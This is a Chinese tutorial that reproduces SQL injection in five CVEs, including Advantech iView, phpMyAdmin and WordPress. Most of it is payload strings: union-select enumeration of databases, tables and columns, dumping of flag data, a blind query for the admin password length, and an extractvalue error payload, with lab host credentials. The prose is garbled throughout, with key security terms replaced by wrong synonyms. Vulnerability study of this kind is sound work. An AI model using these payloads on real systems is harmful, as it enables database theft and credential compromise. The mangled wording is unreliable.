CVE破绽中的SQL注入是一种严重的安全威胁,它允许攻击者通过在输入字段中注入反面SQL代码来操纵数据库查询,以下是一些常见的CVE破绽及其SQL注入复现的详细步骤:
1、CVE-2022-3323:研华iView SQL注入破绽
破绽描述:该破绽源于研华iView 5.7.04.6469版本中的ConfigurationServlet端点存在缺陷,攻击者可利用setConfiguration操作中的column_value参数绕过检查执行SQL语句。
复现步骤
环境搭建:准备一台靶机(如Win10系统),安装研华iView 5.7.04.6469软件。
脚本编写与执行:编写Python脚本,当com.imc.iview.utils.CUtils.checkSQLInjection()对column_value参数检查存在缺陷时,脚本执行完毕后可以获取iView-管理员密码,当column_vaule的值为“(SELECT IF(LENGTH((SELECTstrUserPassword
FROMuser_table
/*!WHERE*/ strUserName = ‘admin’)) = 8,0,99999999999999999))”时,post请求的返回值为“Configuration Update Success.”,通过监控Mysql命令执行情况发现会执行相应的SQL命令来判断user_table表中账户为“admin”的密码长度。
2、CVE-2022-28512:Sourcecodester Fantastic Blog CMS 1.0 SQL注入破绽
破绽描述:该CMS的/single.php路径下,id参数存在一个SQL注入破绽。
复现步骤
寻找注入点:打开single.php页面,尝试在登录框等地方进行SQL注入测试,未果后发现图片跳转到single.php界面,确定注入点在此处。
判断注入类型:抛出and 1=1和and 1=2测试,页面正常排除数字型;直接提交3’发现报错,通过报错信息知道是单引号闭合,构造payload为id=3′–+。
爆字段个数:注入语句为id=3′ order by 9–+,发现显位个数是9。
爆显位位置:注入语句为id=-3′ union select 1,2,3,4,5,6,7,8,9–+,发现有4可以注入,就在4注入。
爆数据库名:注入语句为id=-3′ union select 1,2,3,database(),5,6,7,8,9–+,得到数据库ctf。
爆数据库表名:注入语句为id=-3′ union select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database()–+,得到数据库表名titles,page_hits,membership_userpermissions,membership_groups,blog_categories,membership_userrecords,membership_users,editors_choice,blogs,links,flag,banner_posts,membership_grouppermissions,visitor_info,关键表名是flag。
爆数据库列名:注入语句为id=-3′ union select 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name="flag"–+,得到列名flag。
爆数据库数据:注入语句为id=-3′ union select 1,2,3,group_concat(flag),5,6,7,8,9 from flag –+,得到flag{6bf76a30-c821-429b-b2e7-03b6068cdf36}。
3、CVE-2020-5504:phpmyadmin SQL注入破绽
破绽描述:phpMyAdmin是一套免费的、基于Web的MySQL数据库管理工具,在用户帐户页面中发现了一个SQL注入破绽,创建对此页面的查询时,反面用户可能会注入自定义SQL来代替其自己的用户名。
复现步骤
环境搭建:访问http://vulfocus.fofa.so:46629/pma/index.php,使用root/123456登录,查看phpmyadmin版本为5.0.0,确认存在破绽。
破绽利用:构造payload/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))–+db=&token=7233732445545a2c2471503b3d287d62&viewing_mode=server,注意token从后台页面ctrl+u搜索token找到或者抓包从请求包中找到,然后访问http://vulfocus.fofa.so:51039/pma目录下+payload即可执行成功。
4、CVE-2022-21661:WordPress SQL注入破绽
破绽描述:WordPress是一个用PHP编写的免费开源内容管理系统,由于clean_query函数的校验不当,导致了可能通过插件或主题以某种方式从而触发SQL注入的情况。
复现步骤
分析破绽点:WP_Query::__construct方法调用了query方法,进而调用wp_parse_args函数处理输入的字符串,最终导致$this->query_vars和$this->query变量可控,传入WP_Query的参数如果可控的话,就可以利用该破绽。
构造注入语句:根据破绽利用调用链,控制传入WP_Tax_Query类的构造函数的参数值,通过POST传入特定的参数值来触发SQL注入。
5、CVE-2022-32991:某CMS welcome.php SQL注入破绽
破绽描述:该CMS的welcome.php中eid参数可以进行sql注入。
复现步骤
判断注入点:进入login.php登录后,访问welcome.php页面,发现start按钮对应的URL中有q参数,进一步深入发现eid参数可注入,先抛出and 1=1和and 1=2测试,页面正常排除数字型;直接提交1’发现报错,通过报错信息知道是单引号闭合,构造payload为60377db362694′–+,页面恢复正常,确定是单引号闭合的get提交的sql注入。
爆字段个数:注入语句为eid=60377db362694′ order by 6–+,发现6的时候报错,5正常,说明有5个字段。
爆显位位置:注入语句为eid=60377db362694′ union select 1,2,3,4,5–+,发现显位3。
爆数据库名:注入语句为eid=60377db362694′ union select 1,2,database(),4,5–+,得到数据库名为ctf。
爆数据库表名:注入语句为eid=60377db362694′ union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()–+,得到所有表名user,options,quiz,admin,questions,history,rank,flag,answer,其中关键表名为flag。
爆数据库列名:注入语句为eid=60377db362694′ union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name="flag"–+,得到列名为flag。
爆数据库数据:注入语句为eid=60377db362694′ union select 1,2,group_concat(flag),4,5 from flag –+,成功得到flag。
不同的CVE破绽中的SQL注入复现方法各不相同,但都需要先了解破绽的描述和原理,然后根据具体的环境和条件进行相应的操作来复现破绽,在实际操作中,应严格遵守法律法规和道德规范,避免对他人造成不必要的损害。